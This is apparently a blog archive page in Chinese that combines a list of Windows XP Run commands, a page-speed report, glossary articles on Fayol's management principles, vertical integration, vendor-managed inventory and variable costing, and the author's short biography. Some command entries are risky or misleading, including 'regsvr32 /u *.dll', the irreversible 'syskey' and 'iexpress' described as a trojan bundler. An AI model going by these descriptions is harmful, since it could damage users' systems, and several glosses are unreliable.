winchat--------XP自带局域网聊天

mem.exe--------显示内存使用情况

Msconfig.exe---系统配置实用程序

mplayer2-------简易widnows media player

mspaint--------画图板

mstsc----------远程桌面连接

mplayer2-------媒体播放机

magnify--------放大镜实用程序

mmc------------打开控制台

mobsync--------同步命令

dxdiag---------检查DirectX信息

drwtsn32------ 系统医生

devmgmt.msc--- 设备管理器

dfrg.msc-------磁盘碎片整理程序

diskmgmt.msc---磁盘管理实用程序

dcomcnfg-------打开系统组件服务

ddeshare-------打开DDE共享设置

dvdplay--------DVD播放器

net stop messenger-----停止信使服务

net start messenger----开始信使服务

notepad--------打开记事本

nslookup-------网络管理的工具向导

ntbackup-------系统备份和还原

narrator-------屏幕"讲述人"

ntmsmgr.msc----移动存储管理器

ntmsoprq.msc---移动存储管理员操作请求

netstat -an----(TC)命令检查接口

syncapp--------创建一个公文包

sysedit--------系统配置编辑器

sigverif-------文件签名验证程序

sndrec32-------录音机

shrpubw--------创建共享文件夹

secpol.msc-----本地安全策略

syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码

services.msc---本地服务设置

Sndvol32-------音量控制程序

sfc.exe--------系统文件检查器

sfc /scannow---windows文件保护

tsshutdn-------60秒倒计时关机命令

tourstart------xp简介(安装完成后出现的漫游xp程序)

taskmgr--------任务管理器

eventvwr-------事件查看器

eudcedit-------造字程序

explorer-------打开资源管理器

packager-------对象包装程序

perfmon.msc----计算机性能监测程序

progman--------程序管理器

regedit.exe----注册表

rsop.msc-------组策略结果集

regedt32-------注册表编辑器

rononce -p ----15秒关机

regsvr32 /u *.dll----停止dll文件运行

regsvr32 /u zipfldr.dll------取消ZIP支持

cmd.exe--------CMD命令提示符

chkdsk.exe-----Chkdsk磁盘检查

certmgr.msc----证书管理实用程序

calc-----------启动计算器

charmap--------启动字符映射表

cliconfg-------SQL SERVER 客户端网络实用程序

Clipbrd--------剪贴板查看器

conf-----------启动netmeeting

compmgmt.msc---计算机管理

cleanmgr-------**整理

ciadv.msc------索引服务程序

osk------------打开屏幕键盘

odbcad32-------ODBC数据源管理器

oobe/msoobe /a----检查XP是否激活

lusrmgr.msc----本机用户和组

logoff---------注销命令

iexpress-------木马捆绑工具,系统自带

Nslookup-------IP地址侦测器

fsmgmt.msc-----共享文件夹管理器

utilman--------辅助工具管理器

gpedit.msc-----组策略

首页速度报告-Web Page Speed Report

Diagnosis

Global Statistics

Total HTTP Requests: 22

Total Size: 88576 bytes

Object Size Totals

Object type Size (bytes) Download @ 56K (seconds) Download @ T1 (seconds)

HTML: 27668 5.71 0.35

HTML Images: 35054 9.19 2.39

CSS Images: 0 0.00 0.00

Total Images: 35054 9.19 2.39

Javascript: 24273 5.84 1.13

CSS: 1581 1.12 0.81

Multimedia: 0 0.00 0.00

Other: 0 0.00 0.00

External Objects

External Object QTY

Total HTML: 1

Total HTML Images: 11

Total CSS Images: 0

Total Images: 11

Total Scripts: 5

Total CSS imports: 4

Total Frames: 0

Total Iframes: 1

Download Times*

Connection Rate Download Time

14.4K 73.05 seconds

28.8K 38.73 seconds

33.6K 33.82 seconds

56K 22.05 seconds

ISDN 128K 9.81 seconds

T1 1.44Mbps 4.87 seconds

*Note that these download times are based on the full connection rate for ISDN and T1 connections. Modem connections (56Kbps or less) are corrected by a packet loss factor of 0.7. All download times include delays due to round-trip latency with an average of 0.2 seconds per object. With 22 total objects for this page, that computes to a total lag time due to latency of 4.4 seconds. Note also that this download time calculation does not take into account delays due to XHTML parsing and rendering.

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405 Iframe #1

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22 ^ 88576* Total (^unique objects)

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只有几个导航图片好不好,任俊龙的博客向来以文字为主,图片少一是由于BLOGER上传图片比较费事,二是由于本来就没有打算像Milo一样做一个图片BLOG,这就开始报警了?

14项管理原则-14 Principles of Management

14项管理原则是什么?

释义

法国古典管理理论学家Henri Fayol总结的14项管理原则为:

工作分工(Division of Work)。 专业化允许个人积累经验,持续不断地提高技能, 从而更富有生产力。

权威与责任(Authority and Responsibilities)。 发布命令的权力,必须与相应的责任相匹配。

纪律(Discipline)。 员工必须遵守纪律,但这一点具有两面性: 只有当管理者自身具有高超的领导力、恪尽职守,员工才会遵守纪律。

统一指挥(Unity of Command)。 每个员工都只能有一个上级,以确保他所执行的命令不会相互冲突。

统一方向(Unity of Direction)。 在一项单独的行动计划中,每一名参与者的目标都必须相同。 这一点对于组织的团结和协调非常重要。 尽管统一的方向不一定产生统一的指挥,但是如果没有统一的方向,就决不可能有统一的指挥。

个体利益服从整体利益(Subordination of Individual Interest to the General Interest)。 管理者必须意识到企业目标永远是至高无上的。

人事报酬(Remuneration)。 尽管通过分析各种可能性,Fayol 指出没有一个完美的组织系统,他还是认为人事报酬是这个系统中的一个非常重要的促进因素。

中心化或去中心化(Centralization or Decentralization)。 这里有一个度的问题,取决于企业的环境条件和人员条件。

层次链/权威线(Scalar Chain/Line of Authority)。 为了方向统一,一定的层级是需要的。 但是横向联系也是组织沟通的基本方式。 层次链指的是从高层权威到基层人员的组织层级, 它不应该过长,不能包含过多层级。

秩序(Order)。 对于组织管理来说,物质秩序和社会秩序都是必要的, 物质秩序使得损失和浪费最小化, 而社会秩序则来源于组织与选举。

平等(Equity)。 对于企业经营者来说,必须做到“友好和公正”的完美组合, 善待员工对实现平等非常重要。

人员任期稳定性(Stability of Tenure of Personnel)。 在工作职位稳定和职业前景看好的情况下,员工的工作绩效会更好。 人员的不当任用以及离职率过高对企业都会有负面影响。

主动性(Initiative)。 通过一些适当的方式调动全体人员的主动性,是一个增强组织实力的有效方法。 这一点做得好,也许会让一些管理人员感到“空虚”。

Esprit de Corps(团队精神)。 管理人员必须不断鼓舞雇员士气。 Fayol建议: “真正优秀的团队需要协调努力、互相鼓励、调用每个人的聪明才智、,并不偏不倚地对每个人的优点给以回报”。

什么是管理?

五个要素

Fayol对管理角色及相关行动的定义包含了以下五个要素:

预见(Prevoyance)。 (预测与规划)。 审视未来,制定行动方案。 此为战略要素。

组织(To organize)。 从物质和人员两个方面建设组织架构。

命令(To command)。 维持人员间的活动。

协调(To coordinate)。 统一并协调所有行为、活动。

控制(To control)。 发生的任何行为活动必须于既定的制度、命令相适。

14项管理原则的起源。

历史

Henri Fayol(1841-1925)是法国古典管理理论学家,他的劳动力管理和组织理论在20世纪初期有着广泛的社会影响。 最初,Fayol是法国采矿公司Commenry-Fourchamboult-Decazeville采矿工程师。 随后走上管理岗位,1888年至1918年间,他担任公司的总经理。 在他任职总经理期间,他写了大量的管理文章,1916年,《Bulletin de la Société de l’ Industrie Minérale》发表了他的代表作《工业管理和一般管理》(Administration, Industrielle et Générale - Prévoyance, Organisation, Commandement, Coordination, Contrôle)。 该书的英文版直到1949年才问世, 翻译者是Constance 。

14项管理原则的运用。

应用

变革与组织。

决策。

技能培训。 管理效力提高。

有助于理解管理包含着一系列不同的活动,这些活动是可以罗列和分类的。

垂直整合-Vertical Integration

什么是垂直整合?

释义

垂直整合(Vertical Integration)是一种提高或降低公司对于其投入和产出分配控制水平的方法,

也即公司对其生产投入、产品或服务的分配的控制程度。 垂直整合有两种类型: 后向整合(Backward Integration)与前向整合(Forward Integration)。 一个公司对于其生产投入的控制被称之为 后向整合。 对其产出分配的控制则被称之为 前向整合。

Michael Porter的Value Chain model[价值链模型]是对垂直整合的最佳理解与应用。 垂直整合意味着公司的价值链与其供应商、经销商价值链之间的整合水平。

如果公司将其供应商或经销商的价值链整合进自己的价值链中,则被称之为完全垂直整合(Full Vertical Integration)。 这种情况发生在公司力图扩展经营,收购了供应商或经销商的时候。 这种所谓的扩展经营,即公司意欲进入传统上由供应商或经销商经营的领域。 一种程度较低的垂直整合为 供应链优化(Supply Chain Optimization),也被称之为 供应链规划(Supply Chain Planning)。 这种整合情况发生在公司与其供应商、经销商(顾客)交换物流信息的时候。 看见: Vendor Managed Inventory[供应商管理库存]。

航空业的垂直整合也许最为典型。 现在,航空公司越来越多地执行过去由旅行社扮演的角色,就是典型的前项整合。 同样,航空公司亦亲力而为供应商的角色如飞机维护、飞行餐饮,就是典型的后向整合。 类似的例子还有,炼油公司拥有并经营石油分销渠道如加油站, 有时还进入石油勘探行业,这些都是典型的垂直整合。

垂直整合的起源

历史

垂直整合已经有很长的历史,但其各个时期的战略动因却不尽相同。 19世纪,公司运用垂直整合以扩大经营规模。 20世纪中叶,垂直整合的用途主要体现在稳定关键生产原料的供给。 在一些具体案例中,还应用到了交易成本经济学的相关理论,这时的垂直整合就是为了减少总成本。 该理论认为,企业执行供应商或经销商的功能,较之花费时间和金钱与供应商、经销商进行交易,要便宜得多。

随后,在20世纪末,各个行业的竞争加剧。 大公司纷纷重组,降低垂直整合水平,直接导致了垂直非一体化(Vertical Disintegration)。

信息与通信技术(ICT)的快速发展与广泛运用也促成了垂直整合的土崩瓦解,因为市场不同主体之间的交易、沟通成本由于这些技术的应用大幅降低。 与垂直整合相比,运用ICT,公司间的交易成本更低,于是出现了垂直非一体化。 此效应即为著名的“寇斯法则”(Coase's Law),亦被称之为“公司递减法则”(Law of Diminishing Firms)。 这个法则说明市场交易成本的降低,迫使公司唯有不断的缩小规模方能生存。

垂直整合的运用

应用

垂直整合通常运用于以下场合:

公司战略发展过程中,垂直整合往往被考虑作为一项战略选择。 例如,在供应商过于强大对公司发展造成威胁的情况下,一种战略解决方案就是大量收购供应商。

运用Porter的五力模式进行行业动力分析的时候,垂直整合是降低供应商和顾客议价能力的必然选择。

垂直整合也是降低交易成本的一种方法。

垂直整合的步骤。

流程

在考虑是否采取垂直整合战略以及在多大程度上进行整合的时候,你需要作以下一些考虑:

是否存在范畴经济(Economies of Scope),使得公司能够便宜地控制投入与产出?

是否存在市场外在因素(Market External Factors),使得公司能够高效地控制投入与产出?

是否有必要追求垄断力量?

垂直整合的优势

优点

规模经济。

范畴经济。

成本降低。

竞争性。

减弱供应商或顾客的威胁。

高度控制完整的价值链。

垂直整合的局限。

缺点

现实中,没有一个完全整合或完全非整合的公司。 因此,这个问题不能做两个极端的选择。 问题的要点应该是,如果优化垂直整合的程度。

垂直整合的程度很难通过数量化手段来得到答案。

当垂直整合帮助公司解决了一个麻烦的时候,由此又可能引发一系列其他的麻烦。 比较Core Competence[核心竞争力]。

整合后新旧业务之间的平衡很难把握。

垂直整合的假设。

条件

公司必须要在供应链上扩展和延伸自己所扮演的角色。

供应商管理库存-Vendor Managed Inventory

什么是供应商管理库存?

释义

供应商管理库存(Vendor Managed Inventory,VMI),是供应链管理实践的一种,它是指由供应商按照预期需求以及事先达成的最高和最低库存水平,代表买方组织对库存进行监督、规划和管理。 根据传统实践,我们知道,成功的供应链管理取决于对库存成本(Inventory Cost)和服务水平(Service Level)的平衡和把握。 而通过实施VMI的供应链战略,则能够在库存成本和服务水平这两个维度上同时取得提高。 VMI至少有两种形式:

批发商(经销商)为零售商管理库存。 当此情况下,VMI亦被称作为有效消费者反映(Efficient Consumer Response, ECR)。 注意,尽管批发商承接补货单,库存仍然为零售商所拥有。

制造商为经销商管理库存。 同样,尽管制造商承接补货单,库存仍然为经销商所拥有。

VMI的战略依据是,供应方较之买方能够更好地管理库存,因为它对于产能及交货期(Lead Time)的知识、经验较之买方要丰富得多。 同时,供应方管理库存还有助于降低供应链的层级,提高库存透明度,降低整体库存水平。 成功运用VMI,要求经销商、零售商必须通过电子数据交换(EDI)技术或其他电子技术手段,抑或传统人力,为供应商提供充分完整的销售数据。

在英文中,以下两个术语亦被用来表示VMI——Continuous Replenishment(持续补货)、Supplier Managed Inventory(供应商管理库存)。

VMI的起源 历史

VMI最先出现于零售业,以适应有效消费者反映(ECR)这一商业理念,即消费者对于企业库存状况的满意度或期望度是企业获取竞争优势至关重要的因素。 沃尔玛是成功采用VMI供应链战略的先驱者。

VMI正在日益发展成为一种供需方之间的战略伙伴关系模式, 这种模式对企业的库存规划产生了深远影响,正逐渐形成一种面向供应链的新战略——合作计划、预测与补给(Collaborative Planning、Forecasting and Replenishment),简称CPFR,它已成为供应链管理中的一个热门话题。

VMI的运用 应用

误差敏感行业。 如: 医药行业。

分店众多的速消品行业。 如: 沃尔玛。

易腐、易损产品。 如: K玛百货(K-Mart)。

组件贵重且复杂的产品。 如: 计算机制造业。

高度竞争、利润微薄的行业。 如: 汽车业。

VMI的步骤。 流程

VMI的通常包括如下一些步骤:

对各方的期望进行有效沟通。

零售商与经销商(供应商)共享真实、精准的销售信息。

供应商确保有效可靠的信息传输、接收和使用。

就订货政策、风险及利益分享等达成协议。

承担时间及资源。

广泛测试。

实施和评估。 调整。

褒奖库存管理出色的供应商。 如: 将其擢升为品类首领(Category Captain),或分享利润,等等。

VMI的优势。 优点

供应链方面: 减少供应链层级。

减少管理费用。

提升销售额。

减少人为数据录入差误。

供货商方面: 更好地了解顾客需求,资源利用率更高(原材料库存及成品库存降低)。

与顾客沟通更直接、更高效。 市场分析结果更为准确。

库存降低,销售提高。

增加了提供品类管理及提供增值服务的机会。

经销商方面: 订货次数减少,库存成本降低。

销售提高,缺货情况减少。

冗余减少。

形成战略优势。

供货商参与品类管理。

终端客户(零售商): 服务水平提高。

缺货情况降低。

VMI的局限。 缺点

VMI成功与否取决于供应商与零售商之间的合作关系。

各方之间的依赖度提高,转移成本提高。

各方之间如果缺乏诚信,不能够充分交换信息数据,将会导致: 库存不清。

库存失衡。

技术成本及对组织进行变革调整的成本较高。

需要大规模的数据测试及EDI测试。

缺少了必要的、充分的货架空间(货品展示)有可能使零售商失去顾客的注意。

零售商开展任何促销活动,都需要提前与供应商进行沟通,否则极易出现货品短缺。

由于库存水平较低,极易遭受非可预见性的风险损失,如罢工或飓风等自然灾害造成的货品短缺。

比较而言,供货商付出多,而经销商与零售商获益多。

VMI的前提。 情况

成功的VMI主要存在于具有以下一些特征的企业:

多店铺。

人为错误极易造成严重后果(如医药行业)。

行业稳定,销售量大(零售业、速消品)。

库存产品价值高、需求难以预测的行业(如高科技行业)。

需要高超的领导能力,需要形成长期的战略伙伴关系(如汽车行业)。

变动成本法-Variable Costing

什么是变动成本法?

释义

变动成本法(Variable Costing)是一种存货成本计价方法,它在计算单位产品的成本时只考虑变动生产成本。 变动成本法也被称为: 直接成本法(Direct Costing)或边际成本法(Marginal Costing)。

变动生产成本包括:

直接原料(Direct Materials)。

指能够合理辨认系未经加工的原料或可被直接制成成品的零件。

直接人工(Direct Labor)。

指能合理辨认系直接归属于生产制成品所发生的人工成本。 也被称作为: 接触人工(Touch Labor)。

变动间接成本(Variable Manufacturing Overhead Costs)。

与此相对的,固定成本则是指在一定时期(如一年)和一定业务量范围内,不受生产增减变动影响而能保持不变的成本。

其成本总额就是企业在一定时期内(如一年)内的开支总额。

存货成本是否应该包括固定生产成本?

吸收式成本法的支持者认为固定生产成本应该包括进存货成本,因为所有的生产成本都是服务于产品生产的, 它们将于未来产生经济效益。

变动式成本法的支持者则认为,如果要将固定生产成本作为一项资产的话,那么它必须符合“未来成本免除”的原则, 这多少有些类似于预付保费保险。 然而,固定生产成本并不符合这一原则,因为每当生产线开始运作的时候,它们便卷入进来。 因此,它们将作为那一时期的开支计算, 而只有变动成本作为库存成本的计价标准。

利用变动式成本法计算利润的后果

期初与期末的存货水平对于利润计算非常重要:

如果期初与期末的存货水平相同, 吸入式成本法计算的利润 = 变动式成本法计算的利润

如果期末的存货水平降低, 变动式成本法计算的利润 > 吸入式成本法计算的利润

如果期末的存货水平增加, 吸入式成本法计算的利润 > 变动式成本法计算的利润

任俊龙在学校的日日夜夜

任俊龙1981年09月28日出生于山西省阳泉市,祖籍河北省。幼年淘气没有上过幼儿园,小学毕业于阳泉市新华小学,初中毕业于阳泉铁路中学(现在已经更名为新华中学),高中毕业于阳泉市第一中学,大学毕业于北京化工大学自动化专业(辅修法学)

任俊龙职业发展道路

搜狐产经中心-IT频道,搜狐时尚中心-女人频道,中华网科教文娱中心-体育频道,神州数码电子商务部……

任俊龙笃信的几句话

我不是懦夫……也不是孱头……在战斗的时候我永远站在前面,撤退的时候我永远留到最后才走……我有一个坚强不屈的心灵,我的心中不能容纳卑劣、下贱的感情。逢到最危险的紧急关头,我并不珍惜生命……我不怕死,我的母亲曾经教导过我,要把死亡看作是我们灵魂的真正生活的开始,我觉得这是对的。

各种可以联系到任俊龙的手段

工作即时消息:MSN bosdumia#hotmail.com
信息技术学习:GMAIL bosdumia#gmail.com
生活娱乐休闲:BBS www.bters.org/bbs/index.html
请将相应位置的#换为@,有劳

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